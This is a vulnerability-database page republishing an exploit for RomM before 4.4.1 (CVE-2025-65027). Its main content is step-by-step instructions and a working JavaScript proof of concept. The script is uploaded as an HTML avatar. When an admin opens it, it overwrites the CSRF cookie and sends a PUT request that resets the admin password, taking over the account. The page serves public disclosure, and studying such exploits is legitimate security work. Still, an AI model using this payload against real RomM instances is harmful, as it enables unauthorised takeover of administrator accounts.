Lucene search
K

📄 RomM Cross Site Scripting / File Upload

🗓️ 10 Apr 2026 00:00:00Reported by He4amType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 86 Views

RomM pre 4.4.1 allows XSS via file upload and Csrf token reuse to bypass SameSite, enabling admin takeover.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-65027
3 Dec 202521:16
circl
CNNVD
Romm 代码问题漏洞
3 Dec 202500:00
cnnvd
CVE
CVE-2025-65027
3 Dec 202519:36
cve
Cvelist
CVE-2025-65027 RomM Chained XSS and CSRF Vulnerabilities Enable Admin Account Takeover
3 Dec 202519:36
cvelist
Exploit DB
RomM 4.4.0 - XSS_CSRF Chain
9 Apr 202600:00
exploitdb
EUVD
EUVD-2025-201131
3 Dec 202519:36
euvd
NVD
CVE-2025-65027
3 Dec 202520:16
nvd
OSV
CVE-2025-65027 RomM Chained XSS and CSRF Vulnerabilities Enable Admin Account Takeover
3 Dec 202519:36
osv
Positive Technologies
PT-2025-47563
20 Nov 202500:00
ptsecurity
RedhatCVE
CVE-2025-65027
4 Dec 202520:12
redhatcve
Rows per page
# Exploit Title: RomM < 4.4.1 -  XSS_CSRF Chain
    # Date: 2025-12-03
    # Exploit Author: He4am (https://github.com/mHe4am)
    # Vendor Homepage: https://romm.app/
    # Software Link: https://github.com/rommapp/romm (Docker: https://hub.docker.com/r/rommapp/romm)
    # Version: < 4.4.1
    # Tested on: Linux
    # CVE: CVE-2025-65027
    
    # -------------------
    
    # Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection
    # Impact: Admin account takeover
    
    # Prerequisites:
    # 1. Attacker needs an authenticated account (Viewer role is sufficient)
    # 2. Victim must visit the uploaded malicious HTML file via a direct link
    
    # Steps to reproduce:
    # 1. Login to RomM
    # 2. Obtain your CSRF token:
    #    - Open browser DevTools > Application tab (or Storage on Firefox) > Cookies
    #    - Copy the `romm_csrftoken` cookie value
    # 3. Replace <ATTACKER_CSRF_TOKEN> below with your token
    # 4. Replace <TARGET_ROMM_URL> with the target RomM instance URL (e.g., http://romm.local)
    # 5. Save this file as `avatar.html`
    # 6. Upload it as your profile avatar (http://romm.local/user/me) and click the Apply button
    # 7. Locate the uploaded file's direct link:
    #    - DevTools > Network tab > Filter for `.html` files
    #    - Or capture it via proxy (e.g., Burp Suite)
    #    - It's usually something like: "http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html"
    # 8. Send this direct link of the uploaded avatar/file to the victim
    # 9. When victim (e.g. admin) opens the link, their password will be changed to "Passw0rd"
    
    # -------------------
    
    # PoC Code:
    <script>
    const csrfToken = "<ATTACKER_CSRF_TOKEN>";		// CHANGE THIS - Your CSRF token from step 2
    const targetURL = "<TARGET_ROMM_URL>";			// CHANGE THIS - Target RomM URL (e.g., http://romm.local)
    const targetUserID = 1;							// Default admin ID is always 1, CHANGE THIS if needed
    const newPassword = "Passw0rd";					// Password to set for victim
    
    // Overwrite CSRF cookie to match our token
    document.cookie = `romm_csrftoken=${csrfToken}; path=/`;
    
    // Execute account takeover by forcing the victim to change their password
    fetch(targetURL + "/api/users/" + targetUserID, {
      method: 'PUT',
      credentials: 'include',  // Send victim's session cookie
      headers: {
       'Content-Type': 'application/x-www-form-urlencoded',
       'x-csrftoken': csrfToken
      },
      body: "password=" + newPassword
    })
    .then(() => {
      console.log("Password changed successfully");
    })
    .catch(err => {
      console.error("Attack failed:", err);
    });
    </script>
    
    # -------------------
    
    # See full writeup for technical details: https://he4am.medium.com/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Apr 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.17.6
EPSS0.00033
SSVC
86